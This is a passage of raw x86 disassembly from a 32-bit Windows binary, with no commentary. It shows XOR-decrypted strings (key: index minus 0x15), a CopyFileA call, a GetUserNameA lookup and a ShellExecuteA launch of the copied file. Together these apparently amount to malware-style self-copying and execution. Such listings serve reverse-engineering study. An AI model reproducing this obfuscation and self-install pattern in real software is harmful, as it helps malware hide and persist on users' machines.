mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x80]
cmovae eax, dword [ebp - 0x80]
lea esi, [eax + edx]
push esi
call fcn.004f9670
add esp, 0xc
mov byte [edi + esi], 0
lea eax, [ebp - 0x80]
jmp 0x41c405
mov byte [ebp - 0x1c], 0
lea ecx, [ebp - 0x80]
push dword [ebp - 0x1c]
push edi
call fcn.004859b0
mov edi, dword [ebp - 0x11c]
mov dword [ebp - 0x1fc], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x20c], xmm0
mov dword [ebp - 0x1f8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x20c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1fc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x20c]
push dword [ebp - 0x14]
call fcn.0047f7d0
mov dword [ebp - 0xec], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xfc], xmm0
mov dword [ebp - 0xe8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xfc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xec], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x1f8]
cmp ecx, 0x10
jb 0x41c4e1
mov edx, dword [ebp - 0x20c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41c4d7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d83b
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x1fc], 0
mov dword [ebp - 0x1f8], 0xf
mov byte [ebp - 0x20c], 0
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x41c534
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41c52a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d83b
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x41c57e
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41c574
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d83b
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x41c5bc
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41c5b2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d83b
push ecx
push edx
call fcn.004f7c11
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0xfc]
mov ecx, esp
push eax
call fcn.0047faa0
call fcn.0040c4c0
add esp, 0x18
test al, al
jne 0x41d575
cmp dword [ebp - 0xe8], 0x10
lea ecx, [ebp - 0xfc]
push 0
cmovae ecx, dword [ebp - 0xfc]
lea eax, [ebp - 0x1dc]
cmp dword [ebp - 0x1c8], 0x10
push ecx
cmovae eax, dword [ebp - 0x1dc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x41d575
push 0x104
lea eax, [ebp - 0x3e0]
mov dword [ebp - 0x1c], 0x104
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x3e0]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [0x545f00]
xor ecx, ecx
movups xmmword [ebp - 0x1b2], xmm0
mov dword [ebp - 0x1a2], 0xde918ed4
movaps xmm0, xmmword [0x542d90]
movups xmmword [ebp - 0x19e], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1b2], al
inc ecx
cmp ecx, 0x1b
jb 0x41c670
lea eax, [ebp - 0x1b2]
mov dword [0x5585c8], ecx
push eax
lea ecx, [ebp - 0x278]
mov byte [ebp - 0x197], 0
call fcn.00402a50
lea ecx, [ebp - 0x278]
mov byte [ebp - 4], 0x21
call fcn.00402af0
movaps xmm0, xmmword [0x5441d0]
xor edx, edx
mov dword [ebp - 0x68], eax
movups xmmword [ebp - 0x2c], xmm0
nop
lea ecx, [edx - 0x15]
xor byte [ebp + edx - 0x2c], cl
inc edx
cmp edx, 7
jb 0x41c6c0
lea eax, [ebp - 0x2c]
mov dword [0x558510], edx
push eax
lea ecx, [ebp - 0x260]
mov byte [ebp - 0x25], 0
call fcn.00402a50
lea ecx, [ebp - 0x260]
mov byte [ebp - 4], 0x22
call fcn.00402af0
movaps xmm0, xmmword [0x5441e0]
xor edx, edx
mov dword [ebp - 0x64], eax
movups xmmword [ebp - 0x2c], xmm0
lea ecx, [edx - 0x15]
xor byte [ebp + edx - 0x2c], cl
inc edx
cmp edx, 7
jb 0x41c705
lea eax, [ebp - 0x2c]
mov dword [0x558510], edx
push eax
lea ecx, [ebp - 0x114]
mov byte [ebp - 0x25], 0
call fcn.00402a50
mov byte [ebp - 4], 0x23
lea esi, [ebp - 0x114]
cmp dword [ebp - 0x100], 0x10
lea ecx, [ebp - 0x3e0]
xorps xmm0, xmm0
mov dword [ebp - 0x50], 0
cmovae esi, dword [ebp - 0x114]
lea edx, [ecx + 1]
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x4c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c761
sub ecx, edx
lea eax, [ebp - 0x3e0]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b20
mov byte [ebp - 4], 0x24
xor ecx, ecx
movaps xmm0, xmmword [0x545b10]
movups xmmword [ebp - 0x1b0], xmm0
mov word [ebp - 0x1a0], 0xd3db
movaps xmm0, xmmword [0x542cf0]
movups xmmword [ebp - 0x19e], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1b0], al
inc ecx
cmp ecx, 0x19
jb 0x41c7a5
mov dword [0x5585e8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 0x197], 0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x84], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41c7f0
sub ecx, edx
lea eax, [ebp - 0x1b0]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.00402b20
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x60]
cmp dword [ebp - 0x84], 0x10
lea edx, [ebp - 0x98]
push eax
cmovae edx, dword [ebp - 0x98]
lea ecx, [ebp - 0x240]
call fcn.004839c0
add esp, 4
push esi
mov ecx, eax
mov byte [ebp - 4], 0x26
call fcn.0047f7d0
mov dword [ebp - 0x17c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x18c], xmm0
mov dword [ebp - 0x178], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x18c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x17c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x27
lea edx, [ebp - 0xfc]
cmp dword [ebp - 0xe8], 0x10
mov ecx, dword [ebp - 0xec]
cmovae edx, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x178]
mov esi, dword [ebp - 0x17c]
sub eax, esi
mov dword [ebp - 0x14], ecx
push ecx
push edx
cmp ecx, eax
ja 0x41c8f4
cmp dword [ebp - 0x178], 0x10
lea eax, [esi + ecx]
mov dword [ebp - 0x17c], eax
lea eax, [ebp - 0x18c]
cmovae eax, dword [ebp - 0x18c]
add esi, eax
push esi
call fcn.004f9670
mov eax, dword [ebp - 0x14]
add esp, 0xc
mov byte [esi + eax], 0
lea eax, [ebp - 0x18c]
jmp 0x41c907
mov byte [ebp - 0x14], 0
push dword [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x18c]
call fcn.004859b0
mov dword [ebp - 0x14c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x15c], xmm0
mov dword [ebp - 0x148], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x15c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x14c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push dword [ebp - 0x64]
lea ecx, [ebp - 0x15c]
mov byte [ebp - 4], 0x28
call fcn.0047f7d0
mov dword [ebp - 0x164], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x174], xmm0
mov dword [ebp - 0x160], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x174], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x164], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x29
lea edx, [ebp - 0x12c]
cmp dword [ebp - 0x118], 0x10
mov ecx, dword [ebp - 0x164]
cmovae edx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x160]
sub eax, ecx
mov dword [ebp - 0x64], ecx
push edi
push edx
cmp edi, eax
ja 0x41ca0e
cmp dword [ebp - 0x160], 0x10
lea esi, [ebp - 0x174]
lea eax, [ecx + edi]
cmovae esi, dword [ebp - 0x174]
mov dword [ebp - 0x164], eax
lea eax, [esi + ecx]
push eax
call fcn.004f9670
mov eax, dword [ebp - 0x64]
add esp, 0xc
add eax, esi
mov byte [eax + edi], 0
lea eax, [ebp - 0x174]
jmp 0x41ca27
mov byte [ebp - 0x64], 0
lea ecx, [ebp - 0x174]
push dword [ebp - 0x64]
push edi
call fcn.004859b0
mov edi, dword [ebp - 0x11c]
mov dword [ebp - 0x134], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x144], xmm0
mov dword [ebp - 0x130], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x144], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x134], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push dword [ebp - 0x68]
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 0x2a
call fcn.0047f7d0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1a8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x198], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0x130]
cmp ecx, 0x10
jb 0x41cae5
mov edx, dword [ebp - 0x144]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41cadb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d840
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
mov byte [ebp - 4], 0x2d
mov ecx, dword [ebp - 0x160]
cmp ecx, 0x10
jb 0x41cb3e
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41cb34
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d840
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x160], 0xf
mov byte [ebp - 0x174], 0
mov byte [ebp - 4], 0x2e
mov ecx, dword [ebp - 0x148]
cmp ecx, 0x10
jb 0x41cb97
mov edx, dword [ebp - 0x15c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41cb8d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d840
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x148], 0xf
mov byte [ebp - 0x15c], 0
mov byte [ebp - 4], 0x2f
mov ecx, dword [ebp - 0x178]
cmp ecx, 0x10
jb 0x41cbf0
mov edx, dword [ebp - 0x18c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41cbe6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d840
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], 0xf
mov byte [ebp - 0x18c], 0
mov byte [ebp - 4], 0x30
mov ecx, dword [ebp - 0x22c]
cmp ecx, 0x10
jb 0x41cc49
mov edx, dword [ebp - 0x240]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41cc3f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d840
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0xf
mov byte [ebp - 0x240], 0
mov byte [ebp - 4], 0x31
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x41cca2
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41cc98
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d840
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x32
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x41ccda
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41ccd0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d840
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
mov byte [ebp - 4], 0x33
mov ecx, dword [ebp - 0x100]
cmp ecx, 0x10
jb 0x41cd2a
mov edx, dword [ebp - 0x114]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41cd20
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d840
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x34
mov ecx, dword [ebp - 0x24c]
cmp ecx, 0x10
jb 0x41cd68
mov edx, dword [ebp - 0x260]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41cd5e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d840
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 0xf
mov byte [ebp - 0x260], 0
mov byte [ebp - 4], 0x35
mov ecx, dword [ebp - 0x264]
cmp ecx, 0x10
jb 0x41cdc1
mov edx, dword [ebp - 0x278]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41cdb7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d840
push ecx
push edx
call fcn.004f7c11
add esp, 8
cmp dword [ebp - 0x194], 0x10
lea edx, [ebp - 0x1a8]
xorps xmm0, xmm0
mov dword [ebp - 0x268], 0
cmovae edx, dword [ebp - 0x1a8]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x264], 0xf
mov ecx, edx
mov byte [ebp - 0x278], 0
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x68], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ce11
sub ecx, dword [ebp - 0x68]
push ecx
push edx
mov ecx, esi
call fcn.00402b20
xor cl, cl
call fcn.0041ac50
movaps xmm0, xmmword [0x545d70]
add esp, 0x18
movups xmmword [ebp - 0x41], xmm0
xor ecx, ecx
mov dword [ebp - 0x31], 0x928fd3db
movaps xmm0, xmmword [str.HHEKAVR]
mov byte [ebp - 0x2d], 0xdf
movups xmmword [ebp - 0x2c], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x41], al
inc ecx
cmp ecx, 0x1c
jb 0x41ce51
mov dword [0x5585a4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x41]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x114], xmm0
mov dword [ebp - 0x104], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x100], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ce90
sub ecx, edx
lea eax, [ebp - 0x41]
push ecx
push eax
lea ecx, [ebp - 0x114]
call fcn.00402b20
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0x114]
cmp dword [ebp - 0x100], 0x10
movaps xmm0, xmmword [0x5441d0]
cmovae eax, dword [ebp - 0x114]
xor ecx, ecx
mov dword [ebp - 0x48], eax
movups xmmword [ebp - 0x2c], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 7
jb 0x41ced1
mov dword [0x558510], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x144], xmm0
mov dword [ebp - 0x134], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x130], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41cf10
sub ecx, edx
lea eax, [ebp - 0x2c]
push ecx
push eax
lea ecx, [ebp - 0x144]
call fcn.00402b20
mov byte [ebp - 4], 0x37
lea eax, [ebp - 0x144]
cmp dword [ebp - 0x130], 0x10
movaps xmm0, xmmword [0x5441e0]
cmovae eax, dword [ebp - 0x144]
xor ecx, ecx
mov dword [ebp - 0xe4], eax
movups xmmword [ebp - 0x2c], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 7
jb 0x41cf54
mov dword [0x558510], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x15c], xmm0
mov dword [ebp - 0x14c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x148], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41cf90
sub ecx, edx
lea eax, [ebp - 0x2c]
push ecx
push eax
lea ecx, [ebp - 0x15c]
call fcn.00402b20
mov byte [ebp - 4], 0x38
lea esi, [ebp - 0x15c]
cmp dword [ebp - 0x148], 0x10
lea ecx, [ebp - 0x3e0]
xorps xmm0, xmm0
mov dword [ebp - 0x2b0], 0
cmovae esi, dword [ebp - 0x15c]
lea edx, [ecx + 1]
movups xmmword [ebp - 0x2c0], xmm0
mov dword [ebp - 0x2ac], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41cfe8
sub ecx, edx
lea eax, [ebp - 0x3e0]
push ecx
push eax
lea ecx, [ebp - 0x2c0]
call fcn.00402b20
mov byte [ebp - 4], 0x39
xor ecx, ecx
movaps xmm0, xmmword [0x545b10]
movups xmmword [ebp - 0x248], xmm0
mov word [ebp - 0x238], 0xd3db
movaps xmm0, xmmword [0x542cf0]
movups xmmword [ebp - 0x236], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x248], al
inc ecx
cmp ecx, 0x19
jb 0x41d030
mov dword [0x5585e8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x248]
mov byte [ebp - 0x22f], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d070
sub ecx, edx
lea eax, [ebp - 0x248]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b20
mov byte [ebp - 4], 0x3a
lea eax, [ebp - 0x2c0]
cmp dword [ebp - 0x4c], 0x10
lea edx, [ebp - 0x60]
push eax
cmovae edx, dword [ebp - 0x60]
lea ecx, [ebp - 0x2a8]
call fcn.004839c0
add esp, 4
push esi
mov ecx, eax
mov byte [ebp - 4], 0x3b
call fcn.0047f7d0
mov dword [ebp - 0xd0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xe0], xmm0
mov dword [ebp - 0xcc], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xe0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xd0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x3c
lea esi, [ebp - 0xfc]
cmp dword [ebp - 0xe8], 0x10
mov edx, dword [ebp - 0xd0]
cmovae esi, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0xec]
sub eax, edx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x68], esi
mov dword [ebp - 0x14], edx
push ecx
cmp ecx, eax
ja 0x41d179
cmp dword [ebp - 0xcc], 0x10
lea esi, [ebp - 0xe0]
push dword [ebp - 0x68]
cmovae esi, dword [ebp - 0xe0]
lea eax, [ecx + edx]
mov dword [ebp - 0xd0], eax
lea eax, [esi + edx]
push eax
call fcn.004f9670
mov eax, dword [ebp - 0x64]
add esp, 0xc
mov ecx, dword [ebp - 0x14]
add eax, esi
mov byte [eax + ecx], 0
lea eax, [ebp - 0xe0]
jmp 0x41d18d
push esi
mov byte [ebp - 0x68], 0
push dword [ebp - 0x68]
push ecx
lea ecx, [ebp - 0xe0]
call fcn.004859b0
mov dword [ebp - 0x88], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x84], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x98], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x88], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push dword [ebp - 0xe4]
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 0x3d
call fcn.0047f7d0
mov dword [ebp - 0xb8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0xb4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xc8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xb8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x12c]
cmp dword [ebp - 0x118], 0x10
mov esi, dword [ebp - 0xb4]
mov eax, esi
cmovae ecx, dword [ebp - 0x12c]
mov edx, dword [ebp - 0xb8]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x41d28d
lea eax, [edi + edx]
cmp esi, 0x10
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0xc8]
cmovae eax, dword [ebp - 0xc8]
lea esi, [eax + edx]
push esi
call fcn.004f9670
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [ebp - 0xc8]
jmp 0x41d2a6
mov byte [ebp - 0xe4], 0
lea ecx, [ebp - 0xc8]
push dword [ebp - 0xe4]
push edi
call fcn.004859b0
mov dword [ebp - 0x214], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x224], xmm0
mov dword [ebp - 0x210], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x224], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x214], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push dword [ebp - 0x48]
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 0x3f
call fcn.0047f7d0
mov dword [ebp - 0x280], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x290], xmm0
mov dword [ebp - 0x27c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x290], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x280], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x41
mov ecx, dword [ebp - 0x210]
cmp ecx, 0x10
jb 0x41d382
mov edx, dword [ebp - 0x224]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d378
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d845
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x210], 0xf
mov byte [ebp - 0x224], 0
mov byte [ebp - 4], 0x42
mov ecx, dword [ebp - 0xb4]
cmp ecx, 0x10
jb 0x41d3db
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d3d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d845
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
mov byte [ebp - 4], 0x43
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x41d434
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d42a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d845
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
mov byte [ebp - 4], 0x44
mov ecx, dword [ebp - 0xcc]
cmp ecx, 0x10
jb 0x41d48d
mov edx, dword [ebp - 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d483
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d845
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 0xf
mov byte [ebp - 0xe0], 0
mov byte [ebp - 4], 0x45
mov ecx, dword [ebp - 0x294]
cmp ecx, 0x10
jb 0x41d4e6
mov edx, dword [ebp - 0x2a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d4dc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d845
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 0xf
mov byte [ebp - 0x2a8], 0
lea ecx, [ebp - 0x60]
call fcn.004029b0
lea ecx, [ebp - 0x2c0]
call fcn.004029b0
lea ecx, [ebp - 0x15c]
call fcn.004029b0
lea ecx, [ebp - 0x144]
call fcn.004029b0
lea ecx, [ebp - 0x114]
mov byte [ebp - 4], 0x4a
call fcn.004029b0
sub esp, 0x18
lea ecx, [ebp - 0x290]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
xor cl, cl
call fcn.0041ac50
add esp, 0x18
lea ecx, [ebp - 0x290]
call fcn.004029b0
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 0x20
call fcn.004029b0
sub esp, 0x18
lea eax, [ebp - 0xfc]
mov ecx, esp
push eax
call fcn.0047faa0
call fcn.0040c4c0
add esp, 0x18
test al, al
je 0x41d677
cmp dword [ebp - 0xe8], 0x10
lea esi, [ebp - 0xfc]
xorps xmm0, xmm0
mov dword [ebp - 0x29], 0x80889c84
cmovae esi, dword [ebp - 0xfc]
xor ecx, ecx
movq qword [ebp - 0x25], xmm0
mov byte [ebp - 0x1d], 0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x29], al
inc ecx
cmp ecx, 4
jb 0x41d5c0
mov dword [0x558588], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x29]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x84], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d600
sub ecx, edx
lea eax, [ebp - 0x29]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.00402b20
cmp dword [ebp - 0x84], 0x10
lea eax, [ebp - 0x98]
push 1
cmovae eax, dword [ebp - 0x98]
push 0
push 0
push esi
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x41d677
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d66d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d84a
push ecx
push edx
